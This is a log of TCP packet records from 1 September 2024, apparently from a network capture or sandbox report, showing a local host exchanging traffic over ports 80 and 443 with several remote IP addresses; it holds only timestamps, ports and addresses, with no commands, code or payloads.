Sep 1, 2024 05:09:16.737409115 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737411976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737421989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737426043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737459898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737498999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737509966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737524986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737541914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737543106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737552881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737564087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737565994 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737574100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737586975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737622023 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737771988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737782001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737792015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737802029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737812042 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737814903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737824917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737843990 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737885952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738270044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738315105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738339901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738349915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738367081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738378048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738394022 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738415003 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738431931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738441944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738442898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738452911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738470078 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738493919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738539934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738549948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738559961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738583088 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738594055 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738605022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738615990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738626003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738645077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738672018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738682985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738694906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738717079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738727093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738728046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738739014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738765001 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738785982 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738786936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738828897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738873005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738884926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738893986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738909960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.738920927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.738956928 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739228010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739269972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739270926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739314079 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739315033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739352942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739377975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739387989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739398003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739408970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739418983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739425898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739451885 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739473104 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739481926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739494085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739518881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739523888 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739530087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739542961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739562035 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739568949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739579916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739588976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739598989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739610910 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739629984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739656925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739712000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739722013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739732027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739753008 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739769936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739805937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739816904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739826918 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.739855051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.739877939 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.799302101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799314976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799330950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799343109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799352884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799360037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.799391031 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.799392939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799403906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799448013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.799546957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799612045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799621105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799629927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.799654007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.799678087 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.880281925 CEST	49745	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:16.885155916 CEST	80	49745	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:17.426809072 CEST	80	49745	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:17.426867962 CEST	49745	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:18.133044958 CEST	49745	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:18.137952089 CEST	80	49745	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:18.386435032 CEST	80	49745	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:18.386495113 CEST	49745	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:18.821640968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:18.821677923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:18.826524019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:18.826585054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:18.826675892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:18.826683998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:18.826690912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:18.997895002 CEST	49745	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:18.998203993 CEST	49751	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:19.003019094 CEST	80	49751	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:19.003084898 CEST	49751	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:19.003232956 CEST	80	49745	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:19.003287077 CEST	49745	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:19.067363977 CEST	49751	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:19.072204113 CEST	80	49751	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:19.763962984 CEST	80	49751	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:19.764034986 CEST	49751	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:19.767575026 CEST	49751	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:19.772452116 CEST	80	49751	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:19.777086973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:19.777564049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:19.881299019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:19.881323099 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:19.886847973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:19.886858940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:19.886868000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:20.018601894 CEST	80	49751	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:20.018717051 CEST	49751	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:20.150126934 CEST	49751	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:20.152601957 CEST	49756	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:20.155778885 CEST	80	49751	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:20.155966997 CEST	49751	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:20.157506943 CEST	80	49756	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:20.157598972 CEST	49756	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:20.158010006 CEST	49756	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:20.162833929 CEST	80	49756	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:20.827493906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:20.827577114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:20.917620897 CEST	80	49756	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:20.917890072 CEST	49756	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:20.978605032 CEST	49756	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:20.983350992 CEST	80	49756	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:21.044920921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:21.049711943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:21.230146885 CEST	80	49756	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:21.230211020 CEST	49756	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:21.387806892 CEST	49756	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:21.388825893 CEST	49764	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:21.392721891 CEST	80	49756	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:21.392780066 CEST	49756	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:21.393706083 CEST	80	49764	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:21.393758059 CEST	49764	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:21.402930975 CEST	49764	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:21.407672882 CEST	80	49764	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:21.619905949 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:21.619970083 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:21.620143890 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:21.620871067 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:21.620908022 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:21.702426910 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:21.702444077 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:21.702498913 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:21.702706099 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:21.702717066 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:21.870723009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:21.870857954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:22.130810976 CEST	80	49764	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:22.130871058 CEST	49764	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:22.132066965 CEST	49764	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:22.136857033 CEST	80	49764	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:22.270562887 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.270896912 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.270919085 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.271939993 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.271998882 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.273372889 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.273436069 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.273576975 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.273586988 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.412451982 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.478385925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:22.529544115 CEST	80	49764	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:22.529597044 CEST	49764	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:22.529664040 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.529684067 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.529691935 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.529740095 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.529751062 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.529756069 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.529794931 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.529819965 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.529844046 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.529871941 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.530507088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:22.530908108 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.531459093 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.531465054 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.532339096 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.532402039 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.533094883 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.533148050 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.533468008 CEST	49766	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.533493042 CEST	443	49766	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.534033060 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.534049988 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.590609074 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.635097027 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.635113955 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.635121107 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.635154963 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.635164976 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.635200024 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.635226965 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.635246992 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.635256052 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.635256052 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.635277033 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.635292053 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.722393990 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.722415924 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.722448111 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.722453117 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.722500086 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.724498987 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.724518061 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.724589109 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.724592924 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.724631071 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.810638905 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.810656071 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.810719013 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.810740948 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.810748100 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.810770988 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:22.810791016 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:22.810807943 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:23.133162022 CEST	49767	443	192.168.2.4	13.107.246.60
Sep 1, 2024 05:09:23.133169889 CEST	443	49767	13.107.246.60	192.168.2.4
Sep 1, 2024 05:09:23.192313910 CEST	49764	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:23.192598104 CEST	49772	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:23.198105097 CEST	80	49772	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:23.198120117 CEST	80	49764	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:23.198183060 CEST	49764	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:23.198196888 CEST	49772	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:23.199054956 CEST	49772	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:23.204289913 CEST	80	49772	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:23.249164104 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.249180079 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.249248981 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.249458075 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.249466896 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.250333071 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.250338078 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.250422001 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.250802994 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.250809908 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.250860929 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.251219988 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.251228094 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.251476049 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.251481056 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.251758099 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.251808882 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.251985073 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.252212048 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.252240896 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.317358971 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.317395926 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.317481995 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.318209887 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.318236113 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.345724106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.345798016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.687201977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:23.692033052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:23.707209110 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.707304955 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.707330942 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.707890034 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.707897902 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.708117008 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.708122969 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.708278894 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.708300114 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.708749056 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.708811045 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.708952904 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.708986998 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.709047079 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.709167004 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.709211111 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.711582899 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.711612940 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.712491989 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.712563038 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.714449883 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.714503050 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.714884043 CEST	49776	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.714934111 CEST	443	49776	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.715318918 CEST	49775	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.715373039 CEST	443	49775	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.715445995 CEST	49777	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:23.715511084 CEST	443	49777	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:23.715714931 CEST	49774	443	192.168.2.4	162.159.61.3
Sep 1, 2024 05:09:23.715719938 CEST	443	49774	162.159.61.3	192.168.2.4
Sep 1, 2024 05:09:23.716115952 CEST	49776	443	192.168.2.4	172.64.41.3
